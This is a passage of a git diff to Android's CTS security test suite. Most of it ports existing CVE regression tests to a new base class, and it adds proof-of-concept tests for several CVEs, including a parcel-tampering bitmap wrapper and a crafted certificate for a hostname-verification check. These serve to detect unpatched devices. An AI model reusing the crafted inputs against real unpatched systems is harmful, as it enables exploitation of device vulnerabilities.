http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.graphics.Bitmap; +import android.os.Parcel; +import android.os.Parcelable; +import android.util.ArrayMap; + +import androidx.annotation.NonNull; + +import org.junit.Assert; + +public class BitmapWrapper implements Parcelable { + enum Field { + DataSize, + Height, + RowBytes, + } + + private final Bitmap mBitmap; + private final ArrayMap<Field, Integer> mReplaceFields = new ArrayMap<>(); + + public BitmapWrapper(Bitmap bitmap) { + mBitmap = bitmap; + } + + private BitmapWrapper(Parcel in) { + mBitmap = Bitmap.CREATOR.createFromParcel(in); + } + + public Bitmap getBitmap() { + return mBitmap; + } + + public BitmapWrapper reset() { + mReplaceFields.clear(); + return this; + } + + public BitmapWrapper replace(Field field, int newValue) { + mReplaceFields.put(field, newValue); + return this; + } + + @Override + public int describeContents() { + return mBitmap.describeContents(); + } + + @Override + public void writeToParcel(@NonNull Parcel dest, int flags) { + final int before = dest.dataPosition(); + mBitmap.writeToParcel(dest, flags); + final int oldEnd = dest.dataPosition(); + if (!mReplaceFields.isEmpty()) { + dest.setDataPosition(before + + 4 /* immutable */ + + 4 /* colortype */ + + 4 /* alpha type */); + // Skip sizeof colorspace + int colorSpaceLen = dest.readInt(); + dest.setDataPosition(dest.dataPosition() + colorSpaceLen); + Assert.assertEquals(mBitmap.getWidth(), dest.readInt()); + Assert.assertEquals(mBitmap.getHeight(), dest.readInt()); + if (mReplaceFields.containsKey(Field.Height)) { + dest.setDataPosition(dest.dataPosition() - 4); + dest.writeInt(mReplaceFields.get(Field.Height)); + } + Assert.assertEquals(mBitmap.getRowBytes(), dest.readInt()); + if (mReplaceFields.containsKey(Field.RowBytes)) { + dest.setDataPosition(dest.dataPosition() - 4); + dest.writeInt(mReplaceFields.get(Field.RowBytes)); + } + Assert.assertEquals(mBitmap.getDensity(), dest.readInt()); + int type = dest.readInt(); + if (type == 0) { // in-place + if (mReplaceFields.containsKey(Field.DataSize)) { + int dataSize = mReplaceFields.get(Field.DataSize); + dest.writeInt(dataSize); + int newEnd = dest.dataPosition() + dataSize; + dest.setDataSize(newEnd); + dest.setDataPosition(newEnd); + } else { + int skip = dest.readInt(); + dest.setDataPosition(dest.dataPosition() + skip); + } + } else if (type == 1) { // ashmem + if (mReplaceFields.containsKey(Field.DataSize)) { + int dataSize = mReplaceFields.get(Field.DataSize); + dest.writeInt(dataSize); + } + dest.setDataPosition(oldEnd); + } else { + Assert.fail("Unknown type " + type); + } + } + } + + public static final Parcelable.Creator<BitmapWrapper> CREATOR = + new Parcelable.Creator<BitmapWrapper>() { + public BitmapWrapper createFromParcel(Parcel in) { + return new BitmapWrapper(in); + } + + public BitmapWrapper[] newArray(int size) { + return new BitmapWrapper[size]; + } + }; + +} diff --git a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java index 48107032a21..a15ab42133f 100644 --- a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java +++ b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java @@ -20,13 +20,18 @@ import org.junit.Test; import android.content.ComponentName; import android.content.Intent; import android.platform.test.annotations.AsbSecurityTest; -import android.test.AndroidTestCase; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; -public class BluetoothIntentsTest extends AndroidTestCase { +import androidx.test.runner.AndroidJUnit4; +import org.junit.runner.RunWith; + +@RunWith(AndroidJUnit4.class) +public class BluetoothIntentsTest extends StsExtraBusinessLogicTestCase { /** * b/35258579 */ @AsbSecurityTest(cveBugId = 35258579) + @Test public void testAcceptIntent() { genericIntentTest("ACCEPT"); } @@ -35,6 +40,7 @@ public class BluetoothIntentsTest extends AndroidTestCase { * b/35258579 */ @AsbSecurityTest(cveBugId = 35258579) + @Test public void testDeclineIntent() { genericIntentTest("DECLINE"); } @@ -47,7 +53,7 @@ public class BluetoothIntentsTest extends AndroidTestCase { new ComponentName("com.android.bluetooth", "com.android.bluetooth.opp.BluetoothOppReceiver")); should_be_protected_broadcast.setAction(prefix + action); - mContext.sendBroadcast(should_be_protected_broadcast); + getInstrumentation().getContext().sendBroadcast(should_be_protected_broadcast); } catch (SecurityException e) { return; diff --git a/tests/tests/security/src/android/security/cts/CVE_2020_0294.java b/tests/tests/security/src/android/security/cts/CVE_2020_0294.java index 6625c9ebafc..f85ec3fdbb4 100644 --- a/tests/tests/security/src/android/security/cts/CVE_2020_0294.java +++ b/tests/tests/security/src/android/security/cts/CVE_2020_0294.java @@ -28,6 +28,8 @@ import android.platform.test.annotations.AsbSecurityTest; import androidx.test.InstrumentationRegistry; import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; + import org.junit.Test; import org.junit.runner.RunWith; @@ -35,7 +37,7 @@ import static org.junit.Assert.*; import static org.junit.Assume.*; @RunWith(AndroidJUnit4.class) -public class CVE_2020_0294 { +public class CVE_2020_0294 extends StsExtraBusinessLogicTestCase { private static final String TAG = "CVE_2020_0294"; /** diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0309.java b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java index deb7c409152..14cb7cea700 100644 --- a/tests/tests/security/src/android/security/cts/CVE_2021_0309.java +++ b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java @@ -31,11 +31,13 @@ import android.platform.test.annotations.AsbSecurityTest; import androidx.test.InstrumentationRegistry; import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(AndroidJUnit4.class) -public class CVE_2021_0309 { +public class CVE_2021_0309 extends StsExtraBusinessLogicTestCase { private final Context mContext = InstrumentationRegistry.getContext(); boolean isVulnerable = true; diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java b/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java index 13076ba9567..44bbc01fdce 100644 --- a/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java +++ b/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java @@ -24,13 +24,14 @@ import android.test.AndroidTestCase; import android.util.Log; import androidx.test.runner.AndroidJUnit4; import androidx.test.InstrumentationRegistry; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import org.junit.Test; import org.junit.runner.RunWith; import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertTrue; @RunWith(AndroidJUnit4.class) -public class CVE_2021_0327 { +public class CVE_2021_0327 extends StsExtraBusinessLogicTestCase { private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts"; private static final String TAG = "CVE_2021_0327"; diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java index 5335a4234fa..98b8de8d637 100644 --- a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java +++ b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java @@ -31,6 +31,9 @@ import android.test.AndroidTestCase; import android.util.Log; import androidx.test.InstrumentationRegistry; import androidx.test.runner.AndroidJUnit4; + +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; + import org.junit.Test; import org.junit.runner.RunWith; @@ -38,7 +41,7 @@ import java.util.concurrent.CompletableFuture; import java.util.concurrent.TimeUnit; @RunWith(AndroidJUnit4.class) -public class CVE_2021_0339 { +public class CVE_2021_0339 extends StsExtraBusinessLogicTestCase { static final String TAG = CVE_2021_0339.class.getSimpleName(); private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts"; diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0341.java b/tests/tests/security/src/android/security/cts/CVE_2021_0341.java new file mode 100644 index 00000000000..130dce5435b --- /dev/null +++ b/tests/tests/security/src/android/security/cts/CVE_2021_0341.java @@ -0,0 +1,221 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assert.assertFalse; +import static org.junit.Assume.assumeFalse; +import static org.junit.Assume.assumeNotNull; + +import android.platform.test.annotations.AsbSecurityTest; + +import androidx.test.runner.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.io.ByteArrayInputStream; +import java.io.InputStream; +import java.security.Principal; +import java.security.cert.Certificate; +import java.security.cert.CertificateEncodingException; +import java.security.cert.CertificateFactory; +import java.util.Enumeration; +import java.util.Hashtable; +import java.util.Vector; + +import javax.net.ssl.HostnameVerifier; +import javax.net.ssl.HttpsURLConnection; +import javax.net.ssl.SSLPeerUnverifiedException; +import javax.net.ssl.SSLSession; +import javax.net.ssl.SSLSessionBindingEvent; +import javax.net.ssl.SSLSessionBindingListener; +import javax.net.ssl.SSLSessionContext; +import javax.security.cert.CertificateException; + +// Taken reference from +// libcore/support/src/test/java/org/apache/harmony/xnet/tests/support/mySSLSession.java +class CVE_2021_0341_SSLSession implements SSLSession { + + private byte[] idData; + private String nameHost = null; + private int namePort = -1; + private Hashtable table; + private boolean invalidateDone = false; + private Certificate[] certs = null; + private javax.security.cert.X509Certificate[] xCerts = null; + + public CVE_2021_0341_SSLSession(Certificate[] xc) + throws CertificateEncodingException, CertificateException { + certs = xc; + xCerts = new javax.security.cert.X509Certificate[xc.length]; + int i = 0; + for (Certificate cert : xc) { + xCerts[i++] = javax.security.cert.X509Certificate.getInstance(cert.getEncoded()); + } + } + + public int getApplicationBufferSize() { + return 1234567; + } + + public String getCipherSuite() { + return "SuiteName"; + } + + public long getCreationTime() { + return 1000L; + } + + public byte[] getId() { + return idData; + } + + public long getLastAccessedTime() { + return 2000L; + } + + public Certificate[] getLocalCertificates() { + return null; + } + + public Principal getLocalPrincipal() { + return null; + } + + public int getPacketBufferSize() { + return 12345; + } + + public Certificate[] getPeerCertificates() throws SSLPeerUnverifiedException { + assumeFalse("peer not authenticated", (certs == null)); + return certs; + } + + public javax.security.cert.X509Certificate[] getPeerCertificateChain() + throws SSLPeerUnverifiedException { + assumeFalse("peer not authenticated", (xCerts == null)); + return xCerts; + } + + public String getPeerHost() { + return nameHost; + } + + public int getPeerPort() { + return namePort; + } + + public Principal getPeerPrincipal() throws SSLPeerUnverifiedException { + return null; + } + + public String getProtocol() { + return "ProtocolName"; + } + + public SSLSessionContext getSessionContext() { + return null; + } + + public void putValue(String s, Object obj) { + assumeFalse("arguments can not be null", (s == null || obj == null)); + Object obj1 = table.put(s, obj); + if (obj1 instanceof SSLSessionBindingListener) { + SSLSessionBindingEvent sslsessionbindingevent = new SSLSessionBindingEvent(this, s); + ((SSLSessionBindingListener) obj1).valueUnbound(sslsessionbindingevent); + } + if (obj instanceof SSLSessionBindingListener) { + SSLSessionBindingEvent sslsessionbindingevent1 = new SSLSessionBindingEvent(this, s); + ((SSLSessionBindingListener) obj).valueBound(sslsessionbindingevent1); + } + } + + public void removeValue(String s) { + assumeFalse("argument can not be null", (s == null)); + Object obj = table.remove(s); + if (obj instanceof SSLSessionBindingListener) { + SSLSessionBindingEvent sslsessionbindingevent = new SSLSessionBindingEvent(this, s); + ((SSLSessionBindingListener) obj).valueUnbound(sslsessionbindingevent); + } + } + + public Object getValue(String s) { + assumeFalse("argument can not be null", (s == null)); + return table.get(s); + } + + public String[] getValueNames() { + Vector vector = new Vector(); + Enumeration enumeration = table.keys(); + while (enumeration.hasMoreElements()) { + vector.addElement(enumeration.nextElement()); + } + String as[] = new String[vector.size()]; + vector.copyInto(as); + return as; + } + + public void invalidate() { + invalidateDone = true; + } + + public boolean isValid() { + return invalidateDone; + } +} + + +@RunWith(AndroidJUnit4.class) +public class CVE_2021_0341 { + + public final static byte[] X509_TEST_CERTIFICATE = ("-----BEGIN CERTIFICATE-----\n" + + "MIIC3DCCAcSgAwIBAgIURJspNgSx6GVbOLijqravWoGlm+0wDQYJKoZIhvcNAQEL\n" + + "BQAwETEPMA0GA1UECgwGZ29vZ2xlMB4XDTIyMDIxNzExNTE1NFoXDTMxMTExNzEx\n" + + "NTE1NFowETEPMA0GA1UECgwGZ29vZ2xlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A\n" + + "MIIBCgKCAQEA2PxVfeoY/uA66aVRXpuZXodTBFBGowTt/lAJxR8fVjDwRTOrRTrr\n" + + "2qdLPPK40lFQOSfHw/g6+9WjNjjSDBP+U2Agrvo8cU5R1DwJWyK2wcHOtBcL2bsj\n" + + "kRx18CZtZUu51a8KEhMCaIoHgGzwGMZkJnfmfO9ABbMfFsyn6KxFf0MXG3bRcQU7\n" + + "LyCXyQbo2Lal68QiTMXZs9rXN/a8ex+RmP9PKaXIEsIOeDrtLhzcWyNjrtTuDRoR\n" + + "K49xHOpz4EmqHLDzIKuhqyyo9tLR+okK0BRJoNxmfvRTbxNbjzpTTFgyB4KrKBCO\n" + + "VQXJROlBf7594xlCMn0QSwElVT4bMaMw/QIDAQABoywwKjAoBgNVHREEITAfggkq\n" + + "LmJhci5jb22CEiou44Kw44O844Kw44OrLmNvbTANBgkqhkiG9w0BAQsFAAOCAQEA\n" + + "piIwY84InjX4BUmAmM+D9CHD/9euucGxgdXqL6kKG1HRL6lHfwZAIxhlbn3jWFEx\n" + + "k5DTkaL039FGLvYzMI0McwTIuHY/7JwCbZUJ3pVl0waW4sab+2LScnpe9c422Tqb\n" + + "hECEhc71E/kRlG9FjQN3wjEj3RcnWZAWCqAnJN/dcd/1tBD88tzHVckDC9mSvxzP\n" + + "hkmIRRifIDxcrmx7PkpJ6dAfiw9e1Pl5THdsPTDtiGJ4hjlsAi8ury3rrx31lsyo\n" + + "kAwQy23Q7Rcbr2z8bijDuSWWWc9RRsz+O/ePy35NJci/RUwVFTpvOFtahC30Jdv3\n" + + "vpmqxLqEF7Z9I1yb3Q6YUg==\n" + "-----END CERTIFICATE-----\n").getBytes(); + + /** + * b/171980069 + */ + @AsbSecurityTest(cveBugId = 171980069) + @Test + public void testPocCVE_2021_0341() throws Exception { + CertificateFactory cf = CertificateFactory.getInstance("X.509"); + assumeNotNull(cf); + HostnameVerifier verifier = HttpsURLConnection.getDefaultHostnameVerifier(); + assumeNotNull(verifier); + InputStream in = new ByteArrayInputStream(X509_TEST_CERTIFICATE); + java.security.cert.X509Certificate x509 = + (java.security.cert.X509Certificate) cf.generateCertificate(in); + assumeNotNull(x509); + CVE_2021_0341_SSLSession session = + new CVE_2021_0341_SSLSession(new java.security.cert.X509Certificate[] {x509}); + assertFalse(verifier.verify("\u82b1\u5b50.bar.com", session)); + } +} diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0394.java b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java index b39bc711ecd..d43714208b9 100644 --- a/tests/tests/security/src/android/security/cts/CVE_2021_0394.java +++ b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java @@ -18,13 +18,14 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import dalvik.system.VMRuntime; import org.junit.runner.RunWith; import org.junit.Test; import static org.junit.Assert.assertFalse; @RunWith(AndroidJUnit4.class) -public class CVE_2021_0394 { +public class CVE_2021_0394 extends StsExtraBusinessLogicTestCase { static { System.loadLibrary("ctssecurity_jni"); } diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0521.java b/tests/tests/security/src/android/security/cts/CVE_2021_0521.java index 8a883ff7fdc..d4b0179d363 100644 --- a/tests/tests/security/src/android/security/cts/CVE_2021_0521.java +++ b/tests/tests/security/src/android/security/cts/CVE_2021_0521.java @@ -22,6 +22,7 @@ import android.platform.test.annotations.AsbSecurityTest; import android.platform.test.annotations.SecurityTest; import android.util.Log; import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import java.lang.reflect.Field; import java.util.Collections; import java.util.List; @@ -34,7 +35,7 @@ import static org.junit.Assert.assertThat; import static org.junit.Assume.assumeThat; @RunWith(AndroidJUnit4.class) -public class CVE_2021_0521 { +public class CVE_2021_0521 extends StsExtraBusinessLogicTestCase { private String TAG = "CVE_2021_0521"; diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0922.java b/tests/tests/security/src/android/security/cts/CVE_2021_0922.java index 855ad37788b..b79070fdbec 100644 --- a/tests/tests/security/src/android/security/cts/CVE_2021_0922.java +++ b/tests/tests/security/src/android/security/cts/CVE_2021_0922.java @@ -26,13 +26,14 @@ import android.platform.test.annotations.AsbSecurityTest; import androidx.test.InstrumentationRegistry; import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; @RunWith(AndroidJUnit4.class) -public class CVE_2021_0922 { +public class CVE_2021_0922 extends StsExtraBusinessLogicTestCase { private Instrumentation mInstrumentation; diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0934.java b/tests/tests/security/src/android/security/cts/CVE_2021_0934.java new file mode 100644 index 00000000000..0f44d8cc226 --- /dev/null +++ b/tests/tests/security/src/android/security/cts/CVE_2021_0934.java @@ -0,0 +1,59 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assert.fail; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeNotNull; + +import android.accounts.Account; +import android.platform.test.annotations.AppModeFull; +import android.platform.test.annotations.AsbSecurityTest; +import androidx.test.runner.AndroidJUnit4; + +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(AndroidJUnit4.class) +public class CVE_2021_0934 extends StsExtraBusinessLogicTestCase { + + @AppModeFull + @AsbSecurityTest(cveBugId = 169762606) + @Test + public void testPocCVE_2021_0934() { + try { + // Creating an account with arguments 'name' and 'type' whose + // lengths are greater than 200 + String name = new String(new char[300]).replace("\0", "n"); + String type = new String(new char[300]).replace("\0", "t"); + Account acc = new Account(name, type); + assumeNotNull(acc); + + // Shouldn't have reached here, unless fix is not present + fail("Vulnerable to b/169762606, allowing account name/type " + + "with character count 300 whereas limit is 200"); + } catch (Exception e) { + if (e instanceof IllegalArgumentException) { + // This is expected with fix + return; + } + assumeNoException(e); + } + } +} diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_39663.java b/tests/tests/security/src/android/security/cts/CVE_2021_39663.java new file mode 100644 index 00000000000..0add1bd4007 --- /dev/null +++ b/tests/tests/security/src/android/security/cts/CVE_2021_39663.java @@ -0,0 +1,72 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static android.system.OsConstants.F_GETFL; +import static android.system.OsConstants.O_NOFOLLOW; +import static org.junit.Assert.assertEquals; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeNotNull; +import static org.junit.Assume.assumeTrue; + +import android.content.ContentResolver; +import android.content.ContentValues; +import android.content.Context; +import android.net.Uri; +import android.os.ParcelFileDescriptor; +import android.platform.test.annotations.AppModeFull; +import android.platform.test.annotations.AsbSecurityTest; +import android.provider.MediaStore; +import android.system.ErrnoException; +import android.system.Os; + +import androidx.test.InstrumentationRegistry; +import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.io.FileDescriptor; +import java.io.IOException; + +@AppModeFull +@RunWith(AndroidJUnit4.class) +public class CVE_2021_39663 extends StsExtraBusinessLogicTestCase { + + @Test + @AsbSecurityTest(cveBugId = 200682135) + public void testPocCVE_2021_39663() { + Context context = InstrumentationRegistry.getInstrumentation().getContext(); + ContentResolver contentResolver = context.getContentResolver(); + try { + Uri uri = contentResolver.insert(MediaStore.Downloads.EXTERNAL_CONTENT_URI, + new ContentValues()); + ParcelFileDescriptor pfd = context.getContentResolver().openFileDescriptor(uri, "rw"); + assumeNotNull(pfd); + FileDescriptor fd = pfd.getFileDescriptor(); + int flags = Os.fcntlInt(fd, F_GETFL, 0); + pfd.close(); + contentResolver.delete(uri, null, null); + assumeTrue("Unable to read file status flags", flags > 0); + assertEquals("Vulnerable to b/200682135!! O_NOFOLLOW flag not used.", O_NOFOLLOW, + flags & O_NOFOLLOW); + } catch (ErrnoException | IOException e) { + assumeNoException(e); + } + } +} diff --git a/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java b/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java index 3022b6cec8e..23860530619 100644 --- a/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java +++ b/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java @@ -18,7 +18,7 @@ package android.security.cts; import android.content.Context; import android.platform.test.annotations.AsbSecurityTest; -import android.test.AndroidTestCase; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import java.io.InputStream; import java.security.KeyStore; import java.security.cert.Certificate; @@ -32,7 +32,13 @@ import javax.net.ssl.TrustManager; import javax.net.ssl.TrustManagerFactory; import javax.net.ssl.X509TrustManager; -public class ConscryptIntermediateVerificationTest extends AndroidTestCase { +import static org.junit.Assert.*; +import androidx.test.runner.AndroidJUnit4; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(AndroidJUnit4.class) +public class ConscryptIntermediateVerificationTest extends StsExtraBusinessLogicTestCase { private X509Certificate[] loadCertificates(int resource) throws Exception { CertificateFactory certFactory = CertificateFactory.getInstance("X.509"); @@ -76,6 +82,7 @@ public class ConscryptIntermediateVerificationTest extends AndroidTestCase { } @AsbSecurityTest(cveBugId = 26232830) + @Test public void testIntermediateVerification() throws Exception { X509TrustManager tm = getTrustManager(); X509Certificate[] validChain = loadCertificates(R.raw.intermediate_test_valid); diff --git a/tests/tests/security/src/android/security/cts/DecodeTest.java b/tests/tests/security/src/android/security/cts/DecodeTest.java index 26ab802b0e9..16c8905afe9 100644 --- a/tests/tests/security/src/android/security/cts/DecodeTest.java +++ b/tests/tests/security/src/android/security/cts/DecodeTest.java @@ -19,13 +19,20 @@ package android.security.cts; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.platform.test.annotations.AsbSecurityTest; -import android.test.AndroidTestCase; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import java.io.InputStream; import android.security.cts.R; -public class DecodeTest extends AndroidTestCase { +import static org.junit.Assert.*; + +import androidx.test.runner.AndroidJUnit4; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(AndroidJUnit4.class) +public class DecodeTest extends StsExtraBusinessLogicTestCase { /** * Verifies that the device fails to decode a large, corrupt BMP. * @@ -33,8 +40,9 @@ public class DecodeTest extends AndroidTestCase { * decode. */ @AsbSecurityTest(cveBugId = 34778578) + @Test public void test_android_bug_34778578() { - InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_34778578); + InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_34778578); Bitmap bitmap = BitmapFactory.decodeStream(exploitImage); assertNull(bitmap); } @@ -46,8 +54,9 @@ public class DecodeTest extends AndroidTestCase { * decode. */ @AsbSecurityTest(cveBugId = 67381469) + @Test public void test_android_bug_67381469() { - InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_67381469); + InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_67381469); Bitmap bitmap = BitmapFactory.decodeStream(exploitImage); assertNull(bitmap); } diff --git a/tests/tests/security/src/android/security/cts/EffectBundleTest.java b/tests/tests/security/src/android/security/cts/EffectBundleTest.java index 5aef70233f0..2559094cfb9 100644 --- a/tests/tests/security/src/android/security/cts/EffectBundleTest.java +++ b/tests/tests/security/src/android/security/cts/EffectBundleTest.java @@ -22,7 +22,7 @@ import android.media.audiofx.Equalizer; import android.media.audiofx.PresetReverb; import android.media.MediaPlayer; import android.platform.test.annotations.AsbSecurityTest; -import android.test.InstrumentationTestCase; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import android.util.Log; import java.nio.ByteBuffer; @@ -31,7 +31,14 @@ import java.nio.charset.StandardCharsets; import java.util.Arrays; import java.util.UUID; -public class EffectBundleTest extends InstrumentationTestCase { +import static org.junit.Assert.*; + +import androidx.test.runner.AndroidJUnit4; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(AndroidJUnit4.class) +public class EffectBundleTest extends StsExtraBusinessLogicTestCase { private static final String TAG = "EffectBundleTest"; private static final int[] INVALID_BAND_ARRAY = {Integer.MIN_VALUE, -10000, -100, -2, -1}; private static final int mValue0 = 9999; //unlikely values. Should not change @@ -48,6 +55,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //Testing security bug: 32436341 @AsbSecurityTest(cveBugId = 32436341) + @Test public void testEqualizer_getParamCenterFreq() throws Exception { if (!hasEqualizer()) { return; @@ -58,6 +66,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //Testing security bug: 32588352 @AsbSecurityTest(cveBugId = 32588352) + @Test public void testEqualizer_getParamCenterFreq_long() throws Exception { if (!hasEqualizer()) { return; @@ -67,6 +76,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //Testing security bug: 32438598 @AsbSecurityTest(cveBugId = 32438598) + @Test public void testEqualizer_getParamBandLevel() throws Exception { if (!hasEqualizer()) { return; @@ -76,6 +86,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //Testing security bug: 32584034 @AsbSecurityTest(cveBugId = 32584034) + @Test public void testEqualizer_getParamBandLevel_long() throws Exception { if (!hasEqualizer()) { return; @@ -85,6 +96,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //Testing security bug: 32247948 @AsbSecurityTest(cveBugId = 32247948) + @Test public void testEqualizer_getParamFreqRange() throws Exception { if (!hasEqualizer()) { return; @@ -95,6 +107,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //Testing security bug: 32588756 @AsbSecurityTest(cveBugId = 32588756) + @Test public void testEqualizer_getParamFreqRange_long() throws Exception { if (!hasEqualizer()) { return; @@ -105,6 +118,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //Testing security bug: 32448258 @AsbSecurityTest(cveBugId = 32448258) + @Test public void testEqualizer_getParamPresetName() throws Exception { if (!hasEqualizer()) { return; @@ -114,6 +128,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //Testing security bug: 32588016 @AsbSecurityTest(cveBugId = 32588016) + @Test public void testEqualizer_getParamPresetName_long() throws Exception { if (!hasEqualizer()) { return; @@ -155,6 +170,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //testing security bug: 32095626 @AsbSecurityTest(cveBugId = 32095626) + @Test public void testEqualizer_setParamBandLevel() throws Exception { if (!hasEqualizer()) { return; @@ -171,6 +187,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //testing security bug: 32585400 @AsbSecurityTest(cveBugId = 32585400) + @Test public void testEqualizer_setParamBandLevel_long() throws Exception { if (!hasEqualizer()) { return; @@ -187,6 +204,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //testing security bug: 32705438 @AsbSecurityTest(cveBugId = 32705438) + @Test public void testEqualizer_getParamFreqRangeCommand_short() throws Exception { if (!hasEqualizer()) { return; @@ -197,6 +215,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //testing security bug: 32703959 @AsbSecurityTest(cveBugId = 32703959) + @Test public void testEqualizer_getParamFreqRangeCommand_long() throws Exception { if (!hasEqualizer()) { return; @@ -207,6 +226,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //testing security bug: 37563371 (short media) @AsbSecurityTest(cveBugId = 37563371) + @Test public void testEqualizer_setParamProperties_short() throws Exception { if (!hasEqualizer()) { return; @@ -217,6 +237,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //testing security bug: 37563371 (long media) @AsbSecurityTest(cveBugId = 37563371) + @Test public void testEqualizer_setParamProperties_long() throws Exception { if (!hasEqualizer()) { return; @@ -227,6 +248,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //Testing security bug: 63662938 @AsbSecurityTest(cveBugId = 63662938) + @Test public void testDownmix_setParameter() throws Exception { verifyZeroPVSizeRejectedForSetParameter( EFFECT_TYPE_DOWNMIX, new int[] { DOWNMIX_PARAM_TYPE }); @@ -243,6 +265,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //Testing security bug: 63526567 @AsbSecurityTest(cveBugId = 63526567) + @Test public void testEnvironmentalReverb_setParameter() throws 